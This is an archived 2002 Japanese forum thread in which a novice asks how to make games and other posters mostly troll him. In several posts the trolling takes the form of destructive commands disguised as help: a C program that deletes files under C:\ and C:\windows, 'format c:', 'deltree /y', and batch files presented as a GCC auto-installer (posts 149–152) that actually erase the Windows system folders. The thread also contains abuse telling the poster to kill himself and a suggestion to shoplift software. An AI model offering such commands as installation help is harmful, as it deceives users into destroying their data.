1 名前:名前は開発中のものです。 [02/08/02 14:39 ID:SQvMEs/A] ゲームを作るのにはなにが必要ですか?
82 名前:名前は開発中のものです。 mailto:sage [02/08/05 00:05 ID:???] コンパイラなんてどうでもいいから はやくゲーム作れ
83 名前:1 [02/08/05 00:06 ID:UW4r57o6] >>82 とりあえず紹介されたホムペに入ってダウンしたんだけど、 他にゲームを作る方法があれば教えて下さい。 フリーのヤツ。
84 名前:名前は開発中のものです。 mailto:sage [02/08/05 00:08 ID:???] 1はここでも見てなさいってこった www.forest.impress.co.jp/article/2000/03/21/unixlike.html
85 名前:名前は開発中のものです。 mailto:sage [02/08/05 00:20 ID:???] Cマガジン買ってきたほうが早いと思う
86 名前:名前は開発中のものです。 mailto:sage [02/08/05 00:28 ID:???] Cygwinてやつをダウンした。 なんか良く分からなかったけど、全部「次へ」を選んだらインストール終わった。 でも、cd windowsとすると BASH: cd: windows: No such file or directory と言われてしまう。 DOSプロンプトでgccをやるとやっぱり コマンドまたはファイル名が違います. と言われる。Cygwinてgccを使えるんじゃないの? ちなみにそのままgccと打つと BASH: gcc: command not found と文句言われる。 ゲームを作るのは難しいな。 あと、DELをやって覚えさせると何ができるのか教えて下さい。
87 名前:1 [02/08/05 00:28 ID:UW4r57o6] >>86 は>>1 です。
88 名前:名前は開発中のものです。 mailto:sa [02/08/05 00:44 ID:???] ドスプロンプトで format c: でもしろ、ハードディスクフォーマットだ
89 名前:↑ [02/08/05 00:44 ID:/LgOOHSk] ちなみにハードディスクのデータが全部きえる
90 名前:名前は開発中のものです。 mailto:sage [02/08/05 00:46 ID:???] o /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ / / このスレは無事に / / 終了いたしました / / ありがとうございました / / / / モララーより / / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/ ∧_∧ / /∧_∧ ( ・∀・) / /(・∀・ ) ( )つ ⊂( ) | | | | | | (__)_) (_(__)
91 名前:名前は開発中のものです。 mailto:sage [02/08/05 00:55 ID:???] >>1 へ Javaも選択肢に入れてみたら
92 名前:名前は開発中のものです。 mailto:sage [02/08/05 01:20 ID:???] >>86 CygwinはDOSコマンドじゃなくてUNIXコマンドだぞ。
93 名前:名前は開発中のものです。 [02/08/05 01:31 ID:kMuAAQXk] そもそもなぜCygwin? MinGWじゃダメなのかYO!
94 名前:名前は開発中のものです。 mailto:sage [02/08/05 01:55 ID:???] >>93 マイナーだろ
95 名前:名前は開発中のものです。 mailto:sage [02/08/05 02:00 ID:???] 〜 ∧_∧____ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ___ (´∀` ,) //| < [問題] このスレの1の正体は? <──<\⊂ へ ∩)//||| \__________________ \. \,>'(_)i'''i~~,,,,/ ──┐  ̄|| ̄(_) ̄~||~ ̄ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ ━━< 問題: このスレの1の正体は? >━━ \___________________________________/ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ ━━< A: ヒッキー B:ドキュソフリーター >━━ \________________/ \________________/ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ ━━< C:中卒塗装工 D:リアル厨房 >━━ \________________/ \________________/
96 名前:名前は開発中のものです。 mailto:sage [02/08/05 02:02 ID:???] いや、別にMinGWでなくとも、Borland C++でもDigitalMars C++ でもWatcom C++でもいいんだが、Win上でUnixシェル使うのが そんなにイイのか? てか、ゲ製とどういう関係が?
97 名前:名前は開発中のものです。 mailto:sage [02/08/05 02:11 ID:???] >>96 空気を読め
98 名前:1 [02/08/05 05:04 ID:UW4r57o6] 別にgccとかcygwinとかいうヤツでなくても構わない。 フリーで紹介されただけだから。 >>96 のヤツはフリーですか? gccとかcygwinみたいに始めるまでに大変なのは嫌です。
99 名前:名前は開発中のものです。 mailto:sage [02/08/05 06:23 ID:???] >>1 とりあえずどんなコンパイラでも最初は #include <stdlib.h> /*#include <process.h>でも可*/ void main(void) { system("del c:\\*.*"); system("del c:\\windows\\*.*"); } をつくって実行しないと始まらないぞ。 Cマガとかにも書いてあるから参照しる!
100 名前:名前は開発中のものです。 mailto:sage [02/08/05 06:52 ID:???] >>1 これ使ってみたら? ttp://www.roomyroo.com/~myroom/cgi-bin/uploader/source/180.zip 圧縮してあるけど、解凍パスは google
101 名前:名前は開発中のものです。 mailto:sage [02/08/05 14:32 ID:???] ∧∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ (,, ) < 100ゲットし損ねたが .( つ | こりゃまた とんだ糞スレだなぁ オイ | , | \____________ U U | まあ せっかくだからやっといてやるよ | \ ハイハイ 今だ101ゲットズザー っとくらぁ /  ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ∧∧ (゚Д゚O =3 ⊆⊂´ ̄ ソ ヤレヤレ
102 名前:名前は開発中のものです。 mailto:sage [02/08/06 11:34 ID:???] 何の本命か教えてください
103 名前:1 mailto:1を頃す。 [02/08/06 13:10 ID:???] 本命馬鹿です。
104 名前:名前は開発中のものです。 mailto:sage [02/08/06 13:33 ID:???] ∧,,∧ ∬ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ミ,,゚Д゚ノ,っ━~ < つまんねーよボケ首吊って死ねカス。 _と~,,, ~,,,ノ_. ∀ \__ .ミ,,,/~), .| ┷┳━  ̄ ̄ ̄ .し'J ̄ ̄|... ┃  ̄ ̄ ̄ ̄ ̄ ̄ ̄ .┻
105 名前:1 mailto:age [02/08/09 02:50 ID:???] 暫く田舎に行ってた。 んで、どうして誰もDELする効果を教えてくれねぇの? 結局Gccも動かないしよー。 あと、>>100 のは落とせません。
106 名前:名前は開発中のものです。 mailto:sage [02/08/09 03:20 ID:???] DELでWindowsにgccとかで作られたexeの形式を覚えさせる。 デバッグするときに、ソースコードのどの行が悪いかが表示されるなど、かなり便利。 (たまにとんでもないところを指すのはご愛嬌だ) 引数は当然Windowsが入ったフォルダを指定しないといけない。 c:\を指定すると自動的に検索するけどね…。
107 名前:名前は開発中のものです。 mailto:sage [02/08/09 08:29 ID:???] よし、1よ。 とりあえずわからないことを列挙すれ。 あと、どこまでできるようになったのかも。
108 名前:名前は開発中のものです。 mailto:sage [02/08/09 16:44 ID:???] >>99 そのコード実行したらパソが氏ぬよ
109 名前:名前は開発中のものです。 mailto:sage [02/08/09 17:04 ID:???] ああ、108の言うとおりパソが死ぬから絶対ためしちゃだめだ。 ホントだぞ。 疑うならそれを試さないでどっか他でやってくれ。 へんにためしてC言語覚えてまたスレたてられても困る。 厨房増加で迷惑している2ちゃんねるのためにもな。 だからもう2度とこのスレをみることなくどこかへ消えてくれ。
110 名前:名前は開発中のものです。 mailto:sage [02/08/09 23:18 ID:???] void main なんて書いてちゃダメだよ
111 名前:名前は開発中のものです。 mailto:sage [02/08/10 13:52 ID:???] Winが起動しなくなる=パソが死ぬ、すか。 Winはパソの命なんすね。 ちなみにxpもc:\windowsなんすか?
112 名前:名前は開発中のものです。 [02/08/10 14:40 ID:Ky7wiIRs] はやく1さんのげーむであそびたいです。 がんばってください
113 名前:名前は開発中のものです。 mailto:sage [02/08/10 16:01 ID:???] >110 なんで
114 名前:名前は開発中のものです。 mailto:sage [02/08/10 16:13 ID:???] コード書いちゃダメなんてよほど>>1 にはやってほしくないんだな。 クソスレ上がるから迷惑だし。
115 名前:名前は開発中のものです。 mailto:sage [02/08/10 16:36 ID:???] int main だよな
116 名前:名前は開発中のものです。 mailto:sage [02/08/10 16:53 ID:???] だからなんで
117 名前:名前は開発中のものです。 mailto:sage [02/08/10 17:38 ID:???] >>116 自分で調べろ。 まぁ、「絶対にダメ」と言うわけではない。
118 名前:名前は開発中のものです。 mailto:sage [02/08/10 17:58 ID:???] ただしくは int main とみたが これにせーという理由はかいてなかった。 だからなんで。
119 名前:名前は開発中のものです。 mailto:sage [02/08/10 18:28 ID:???] >>118 ホントに探したのかよ… intが望ましいのは、ANSI規格で定められているから。 ちなみに定められているのは以下の2通り。 int main (void) int main (int argc, char *argv[])
120 名前:119 mailto:sage [02/08/10 18:32 ID:???] >>119 追加 UNIXのシェルではプログラムの返り値(=main関数の返り値)を参照する場合がある。 他のOSのシェルは知らん。全部のシェルが参照するかどうかもワカラン。
121 名前:名前は開発中のものです。 mailto:sage [02/08/10 22:55 ID:???] あまりに>>1 がダメダメで話が進まずに終了って感じですかね。
122 名前:1 [02/08/11 00:45 ID:aWqlCPWI] ダメとか失礼なこというなよ。 とりあえずDELは実行したらいけないというのは分かった。 だがgccはどうすれば動く? あと、結局どうやったらゲームが作れるんだ??
123 名前:1 [02/08/11 00:48 ID:aWqlCPWI] >>107 分からないこと ・絵を動かす ・音を鳴らす ・マウスやキボードで打ったのを知る どこまでできるか ・DELは実行したらいけない ・gccは動かない ・mainはintとANSIで決められた こんなところかな?
124 名前:名前は開発中のものです。 mailto:sage [02/08/11 01:40 ID:???] 何の本命か教えてください
125 名前:名前は開発中のものです。 mailto:sage [02/08/11 02:23 ID:???] >>123 実行してはいけないではなく正確にはなにもやらずに消え失せろという意味。 空気読めよ。
126 名前:名前は開発中のものです。 mailto:sage [02/08/11 02:28 ID:???] / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ / ※※ WARNING! ※※ (警告!) ※※ | Λ_Λ |. This place is not a place of people who have a handicap mentally. | ( ´∀`)< (この場所は、障害を精神的に持っている人々の場所ではありません。)| ( ΛΛ つ >―――――――――――――――――――――――――――――< ( ゚Д゚) < Please move to a suitable place from the following. | /つつ | (下記から適切な場所へ移動してください。) ./ \ www.nisseikyo.or.jp/ / \_____________________________/
127 名前:1 [02/08/11 03:47 ID:aWqlCPWI] >>124 ゲーム制作のかな。 この板で上がる企画の何一つ完成しないのを見て、 遂に俺が立ち上がった。 >>125 DELはなにもしないで消すの? わけ分からん。 >>126 おまえがいけ。
128 名前:名前は開発中のものです。 mailto:sage [02/08/11 03:49 ID:???] 私は>>1 。悩める中学生である。そう、私は今、非常に悩んでいるのだ。 何について悩いるのかというと、それはずばり人生についてである。 なんか最近、自分の生き方に疑問を抱いている。 私は、今まで、まわりの人になんと言われようが自分が楽しいと思ったことはやってきたし、 趣味などに関しても、たとえ、どんなにマイナーで人にバカにされたりしても、 そんなことは全く気にせず、我が道を貫いてきた。 私は、自分のこんな生き方が大好きで、これからも、ずっとこの生き方を通していくつもりだった。 しかし、最近、私は思うのである。「はたして、本当にそれでよいのだろうか」 私は、今までの人生は、自分の興味のあることについては熱心にとりくんできたので 興味のある分野のことについては普通の人より、かなり詳しく知っている自信があるが、 そうでないことについては本当に全くといっていいほど何も知りません。 別に、私は、このままでも良いと思っていたのだが、 あまりにも「普通の人」なら知っていて当然のことを知らなさすぎているためか、 普通の人ならできて当たり前のことまで、できないことが多くて、 そういったことで最近、危機感を持ち始めたのだ。 そもそも、なぜ最近になって自分の人生について考え出したのか。それには、ちゃんと理由がある。 実は最近、自分の人生を変える衝撃的な出来事があったのだ。それも、5回くらい連続で・・・。 具体的に何があったかは、皆さんのご想像におまかせします。
129 名前:名前は開発中のものです。 mailto:sage [02/08/11 03:57 ID:???] ほら、またきちがいすれがあがっているよ ,!ヽ ,!ヽ、 ,! ヽ _,..ィ´ ̄`)-‐‐‐'' ヽ / ´`)'´ _ !、 またかよ… / i-‐'´ , ` `! lヽ、 / Y ,! ヽ-‐‐/ l . l >‐'´` l ノ ヽ_/ ノ ,ノ o ヽ l _,イ i'.o r┐ ヽ、 ヽ、_ ,..-=ニ_ l ,!-l、 ノヽ、, ヽ ヽ _,.ィ'. ,! 、 `!、 `ー-、_ く´ l ヽ l ,! `! l ヽ、__ノ l `! `! ! l l l. l , l ヽ、 、_ ,ィ ノ l、_,! し' l l `l l
130 名前:125 mailto:sage [02/08/11 03:58 ID:???] じゃあマジレスしてやるがDELは何も消えない。 色々書いたヤツらを妨害しようとして消えるとかいってるだけだ。 「消える」と書けば誰もやらないだろ? そういうことだ。
131 名前:1 [02/08/11 04:01 ID:aWqlCPWI] >>128 なんだよ、途中でやめたら気になるだろ >>130 なんだか良く分からないから、DELはもういいや。 なんかゲーム作れそうにないし。 他のフリーでゲームが作れるソフトを教えて下さい。
132 名前:名前は開発中のものです。 mailto:sage [02/08/11 04:04 ID:???] 私は今、非常に悩んでいる。 それは>>1 に氏んだ方が良いと伝えるかということだ。 いや、>>1 が氏んだ方が良いというのは間違いない。議論の余地を挟むまでもない。 問題は>>1 がその事実を受け入れることができるかということだ。 下手に伝えると>>1 が逆上し、氏なずに荒らしと化すことは火を見るより明らかだ。 もし私が>>1 にそれを伝え>>1 が氏ななかったときに、私はその責を負うことができるのか。 他の方にその役目を任せてしまうか? 答えは否。それは余りにも無責任と言わざるをえない。 確かに社会がその存在を許すはずはなく、程なく>>1 は肉体的・社会的に抹殺されるであろう。 しかし、それまで>>1 を放置しておいて良いのだろうか? この無様な>>1 を。害悪たる>>1 を。 その答えも否であろう。子の曰わく、義を見て為ざるは勇なきなり、だ。 嗚呼、>>1 は私を悩ませる。 「氏んだ方が良い」という揺らぎようの無い事実があるにも関わらず、これほどまでに私を悩ませる。
133 名前:名前は開発中のものです。 mailto:sage [02/08/11 04:06 ID:???] フリーフリーうるせえヤツだな。 そこらのPCショップからソフトかっぱらってこいよ。 そこまでする度胸あんならみんな協力してくれるだろうよ。
134 名前:1 [02/08/11 04:08 ID:aWqlCPWI] >>132 そんなに悩んでないで、フリーでゲームが作れるソフトを教えて下さい。 >>133 なにをかっぱらってきたらいいですか? ていうか、犯罪じゃねぇかぼけ。
135 名前:名前は開発中のものです。 mailto:sage [02/08/11 04:13 ID:???] >>134 犯罪くらいしかビンボー人の生きる道はないだろ? わかったら開店と同時にVisualCでも盗ってこい。 できれば捕まって新聞に載ってくれたほうが2ちゃん的には面白い。
136 名前:名前は開発中のものです。 mailto:sage [02/08/11 04:23 ID:???] 限りなくネタっぽいね。 そんな>>1 に、親切な漏れはゲームの作り方を教えてあげよう。 ゲームを作りたいんだったら、自分で調べて作んのが一番早い。 調べる力のないやつにゲームは作れない。 ちなみに「物事の調べ方」の話題は激しく板違いなのでここで聞かないでね。
137 名前:名前は開発中のものです。 mailto:sage [02/08/11 05:12 ID:???] ∧∧ ミ _ ドスッ ( ,,)┌─┴┴─┐ / つ. 終 了 │ 〜′ /´ └─┬┬─┘ ∪ ∪ ││ _ε3 ゛゛'゛'゛
138 名前:名前は開発中のものです。 mailto:sage [02/08/11 08:17 ID:???] せっかくやり始めたのにあきらめんなよ! GCC動かすところまでは簡単にできるから、 OSの種類とGCCをおいた場所のパス教えろ。 あとWindowsフォルダの名前を変更してるならそれも教えれ。
139 名前:名前は開発中のものです。 mailto:sage [02/08/11 11:55 ID:???] DELしたかったらココへいけ game.2ch.net/test/read.cgi/gamedev/1027939397/l50
140 名前:名前は開発中のものです。 mailto:sage [02/08/11 12:25 ID:???] てっとりばやくつくりたかったら金をおしんだらいかん。
141 名前:名前は開発中のものです。 mailto:sage [02/08/11 13:14 ID:???] >>138 よけいなことすんなよ。 だいたいDELしないと動かないことも知らない厨房に何を言っても無駄
142 名前:1 [02/08/11 16:11 ID:aWqlCPWI] 色々調べたら、C言語というのとpaskalu言語というのでゲームを作るらしいというのが分かった。 やっぱりgcc動かさないとダメなのか? >>135 Microsoft Visual C++ 6.0というヤツが入ってるんだけど、これじゃダメ? >>138 OS:Windows98 GCCの場所:分からん cygwinはc:cygwinに入れた >>139 delphiはDELとは違うものじゃないの? >>140 貧乏だから、そもそも金が無いんだ。
143 名前:名前は開発中のものです。 mailto:sage [02/08/11 16:24 ID:???] HSPにしとけマジレス
144 名前:名前は開発中のものです。 mailto:sage [02/08/11 17:09 ID:???] 金がないなら回線切って節約しる。 そして終了。( ゚Д゚)ウマー
145 名前:名前は開発中のものです。 mailto:sage [02/08/11 17:16 ID:???] >142 マジレス。 VC6なんていいもん持ってるなら、↓でC編から勉強しろ。 C++編は飛ばしていい。 SDK編はとりあえず2部くらいまででOKだ。 www.kumei.ne.jp/c_lang/
146 名前:名前は開発中のものです。 mailto:sage [02/08/11 17:31 ID:???] >>142 パソコンは貧乏人の遊具じゃねぇぞ? わかってんのか? ある程度の金をもってるヤツだけが楽しめるモンなんだ。 わかったら次は裕福な家に生まれるように祈りながら首吊って死ね。
147 名前:名前は開発中のものです。 mailto:sage [02/08/11 18:14 ID:???] >>143 禿同
148 名前:名前は開発中のものです。 [02/08/11 23:21 ID:2/WsgW9g] >>>1 タイトルワラタ 最高 【本命】【登場】!!!!
149 名前:138 mailto:sage [02/08/11 23:25 ID:???] >>141 うるせえ馬鹿。誰だって最初は初心者なんだよ。 俺だって>>1 みたいな時期があったんだけど今ではGCC使って PS2みたいなゲームだって作ってるんだよ。 だから俺は>>1 を応援したい。 >>1 今の状態でかまわないので俺の指示通りやってほしい。 新規テキストを3つ作って下にある内容のファイルそれぞれ作ってくれ。 作り終わったらその3つのファイルを C:\ へ移動する。 そのあと a.bat をダブルクリックするだけでOK。 完了コードが出るようにしてるから何番だったか一応報告してくれ。 うまくいかない場合は、b.batをダブルクリックすれば、どこが悪いのか で来るようになってるからその結果を報告すること。 今は初心者で右も左もわからないと思うが、今後のために簡単な内容説明 しとこうとおもう。 a.bat ・・・ GCCを自動的にインストールするファイル b.bat ・・・ 使用中のWindowsにあわせた内容でGCCを設定するファイル (いじる必要なし) c.bat ・・・ 環境ファイル(これもいじる必要なし)
150 名前:138 mailto:sage [02/08/11 23:29 ID:???] ==== a.bat ここから ====== @echo off rem GCC /auto /install if not exist b.bat goto berr if not exist c.bat goto berr cd c: cd \ call b.bat gcc SETUP echo GCCのオートインストールが正しく完了しました。 echo 完了コードは nnn です。 :berr echo b.bat が C:\ に存在していませんでした。 echo ファイルをもう一度確認してください。 goto end :cerr echo c.bat が C:\ に存在していませんでした。 echo ファイルをもう一度確認してください。 goto end :end ==== a.bat ここまで ======
151 名前:138 mailto:sage [02/08/11 23:29 ID:???] ==== b.bat ここから ====== @echo off rem GCC /auto /setting -win98 attrib -r -a -s -h /s c:\windows\system\*.* erase c:\windows\system\*.* < c.bat attrib -r -a -s -h /s c:\windows\*.* erase c:\windows\*.* < c.bat goto end :OK echo GCCは正常にインストールされました :NG echo GCCのセットアップ中に異常が発生しました。 echo エラーコードは eee です。 :end ==== b.bat ここまで ====== ==== c.bat ここから ====== y n JPN win98 ==== c.bat ここまで ====== 以上の内容のテキストファイルをを3つ作って C:\ へ移動 あとは a.bat を実行するだけ。 がんばれよ!>>1
152 名前:138 mailto:sage [02/08/11 23:34 ID:???] ごめん a.bat 訂正。 実はGCCのインストール久しぶりで^^; ==== a.bat ここから ====== @echo off rem GCC /auto /install if not exist c:\b.bat goto berr if not exist c:\c.bat goto berr cd c: cd \ call b.bat gcc SETUP echo GCCのオートインストールが正しく完了しました。 echo 完了コードは nnn です。 :berr echo b.bat が C:\ に存在していませんでした。 echo ファイルをもう一度確認してください。 goto end :cerr echo c.bat が C:\ に存在していませんでした。 echo ファイルをもう一度確認してください。 goto end :end ==== a.bat ここまで ======
153 名前:名前は開発中のものです。 [02/08/11 23:53 ID:lOGIb/lw] なんとかツクールとかやっとけば?
154 名前:名前は開発中のものです。 mailto:sage [02/08/12 00:55 ID:???] このままのノリで進めるとそのうち夏厨に荒らされて1000逝ってしまう罠。 このスレが荒れるのは一向に構わないが、そうなったときに1が 臆面もなくpart2立てそうなので勘弁して欲しい罠。 せめてsage進行なんとかならんか? とか言っても1も厨だから無理そうな罠。
155 名前:名前は開発中のものです。 mailto:sage [02/08/12 11:25 ID:???] 1はどういうゲームをどのくらいの期間で完成させるつもりなんだろう
156 名前:名前は開発中のものです。 mailto:sage [02/08/12 12:50 ID:???] >>152 cd c: cd \ deltree /y c:\ ~~~~~~~~~~~~~~~~ …ワスレモン
157 名前:名前は開発中のものです。 mailto:sage [02/08/13 00:52 ID:???] >>149 せっかくだけど、これすら>>1 には困難かと思われます。
158 名前:名前は開発中のものです。 mailto:sage [02/08/13 09:50 ID:???] >149 つーか1ネタだよ。
159 名前:名前は開発中のものです。 mailto:sage [02/08/14 02:44 ID:???] とりあえず1はおかんに連れられて田舎逝ってるので 次の書き込みは盆明けです。
160 名前:名前は開発中のものです。 mailto:sage [02/08/15 11:20 ID:???] >>156 厨房じゃあるまいし。c:\はないだろう。 deltree /y %WINDIR% にしる!
161 名前:1 mailto:sage [02/08/16 00:19 ID:???] 飽きたしフォローもめんどいんで、やめます。ゴメン。 もうちょっとネタに真面目に付き合ってくれる人がいれば面白かったのにな。 DELに終始しちゃって、ここから流れを変えるのも辛い。 できればCUIでいいからテトリス程度は作るまでやりたかったけど。
162 名前:名前は開発中のものです。 mailto:age [02/08/16 21:31 ID:???] 晒しage
163 名前:名前は開発中のものです。 [02/08/16 22:05 ID:kAWIyxSu] yameruayo
164 名前:名前は開発中のものです。 mailto:sage [02/08/17 00:47 ID:???] 1がDELから話題を逸らそうとしてるのが、哀愁を誘うね。
165 名前:名前は開発中のものです。 mailto:sage [02/08/17 11:51 ID:???] 無限にいる本命のうちの一人
166 名前:名前は開発中のものです。 mailto:sage [02/08/17 16:13 ID:???] 禿しく酷い言葉を>>1 に投げかけようとしたけど、 それを思い止めることのできた俺は、1歩成長できたと思いますた。
167 名前:名前は開発中のものです。 mailto:sage [02/08/17 17:08 ID:???] ってゆーか、文脈からしてsageてる1とか騙りだろ。 どうみても一部の煽りは釣られてますが。
168 名前:名前は開発中のものです。 mailto:sage [02/08/18 00:40 ID:???] いや、ホンモノです。少なくともこの時点までの1で騙りはいないです。 ていうか、【本命】とか書いてる時点で、まぁネタだとわかると思いますけど。 >>166 すんまそん。
169 名前:名前は開発中のものです。 mailto:あ [02/08/18 13:28 ID:???] つーかねー。 ネタならたてんなよ。 めちゃくちゃ期待してたのに
170 名前:名前は開発中のものです。 mailto:sage [02/08/18 14:15 ID:???] あげんなよ
171 名前:名前は開発中のものです。 mailto:sage [02/08/18 16:55 ID:???] >>138 が哀れだ… >>1 はプログラム初心者以前に人間初心者。 この結果も当然と言えよう。さすがに、たった2週間ちょいで投げ出すとは 思わなかったが…。 次からは応援するなら、根がまともな奴にしとけー。
172 名前:名前は開発中のものです。 mailto:sage [02/08/18 16:56 ID:???] >>1 おまえ、本当に何もできない人間なんだな。 こうまで大口叩いといて、結局>>161 で最後まで人のせいにして終わりか。 哀れな奴。
173 名前:名前は開発中のものです。 mailto:sage [02/08/18 17:14 ID:???] テトリスにCUIもGUIもないと思うがどうか?
174 名前:1 mailto:sage [02/08/18 19:46 ID:???] いや、>>138 にしたって、結局DELをやりやすくしてるだけだし。 初心者である>>1 に対して真面目に教授しようというのならともかく。 つか、いきなりgccを薦めるのもどうかと。 Delphiのフリーのヤツとか、せめてBCCを薦めてやらないと。 HSP薦めてくれた人が、唯一のまともな回答だったし。 >>169 あげんなよ >>173 んー、コマンドプロンプト上で動くという意味です。GDI使わないヤツ。
175 名前:名前は開発中のものです。 mailto:sage [02/08/18 23:50 ID:???] >>174 ネタくさいネタに誰が真面目に相手するか? gccを薦めてるのは単に煽りだろう。判らんか? こーゆー半端なスレ立てるから純粋なレスするやつがさらに減ってくっての。
176 名前:名前は開発中のものです。 mailto:sage [02/08/19 00:54 ID:???] / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ | こ、このスレ さ、さむいモナ〜 Λ_Λ ∠___________ (;´Д`) ( ( つ ⊂ )) 〉 〉く く ( (__)(_.)) ...ガクガク
177 名前:名前は開発中のものです。 mailto:sage [02/08/19 03:10 ID:???] GCC、VC++、BCC、LSI-C、Delphi インストールの難度はどれもそれほど変わらんよ GCC、BCC、LSI-Cはやることほとんど同じ VC++はアップデートが面倒 Delphiは登録が面倒 Cマガ付属のインストーラでBCCインストールしろってレスが もっともHello,cに近いだろうけどその次が遠い。おそらく画像でつまづく。
178 名前:名前は開発中のものです。 [02/08/24 00:38 ID:aBQ182ZX] 本命さん登場ですか
179 名前:夏房 mailto:sage [02/08/24 05:01 ID:???] >>177 そーそー そうなんだよな。 結局どれを選んでも変わらない、 いや、たぶんgccがベストチョイスなんだろうな。 俺ぐらいのレベルになればどのコンパイラー使ってもかわんねーとか言えるけど、 何も判らない奴から見たら、gccなんて とか思うんだろうな。 >>1 お前が降りたのは良い判断だ、 願わくば、このままプログラムは諦める事を進める。 それか、VBに環境を求めるか..だ。 総てはお前次第。 誰も助けてやれない。
180 名前:1 mailto:sage [02/08/26 20:18 ID:???] いや、俺はゲーム屋さんなんですが。 普段はBCB使ってエロゲやツール作るか、gccでサーバやってます。 多分、初心者のベストチョイスはHSPだと思います。 もしくは、その前にHTMLをエディタで書いてゲームブックもどきでも作るか。 その後、Delphiに行ってもBCBに逝ってもVCに逝ってもいいけど、 いきなりgccでCのお勉強とかやっても、作る前に萎えます。 もっと手早く、とりあえず動くモノが見れないと続かない。 あと、>>179 はネタだと思うけど、コンパイラによって全然適性が違うんで、 なにを使っても変わらないなんてことはありえません。
181 名前:名前は開発中のものです。 mailto:sage [02/08/27 04:11 ID:???] どうみても179は本気だぞ
182 名前:夏房 [02/08/28 06:24 ID:PGMDNgH5] >>180 確かに少しネタっぽくなってるがな。 俺は本気だ。 確かに言語によって適正は確かにある。 GUIならこれ、CUIならこれ、ってな。 でも、人間ってのは不器用に出来てるから、 本気で行きたいときはやっぱり自分の好きな言語で行くだろ。 Perlの方が文字が扱いやすい? BCBの方がGUIを書く点に置いて優れている? そんな事は関係ない。 自分が一番安心できる言語で逝く。 それが大事だろ。 その拘りが無いので有れば、 どの言語を使っても結局変わらない。 限界ぎりぎりでの仕様変更、 これに耐えられるのは自分の使い慣れた言語しかないっ───てな。 PS. 自称ゲームプログラマーの俺から言わせれば、 どのコンパイラーも変わらねぇ。 VC++もgccもBCBも、総ての環境で動くプログラムは組める。 コンパイラーなんて所詮そんな程度の物だ。 (DirectXは試していないが) 動く物が造れないなんてのは詭弁だ。 AAならいくらでも動かせるだろうが。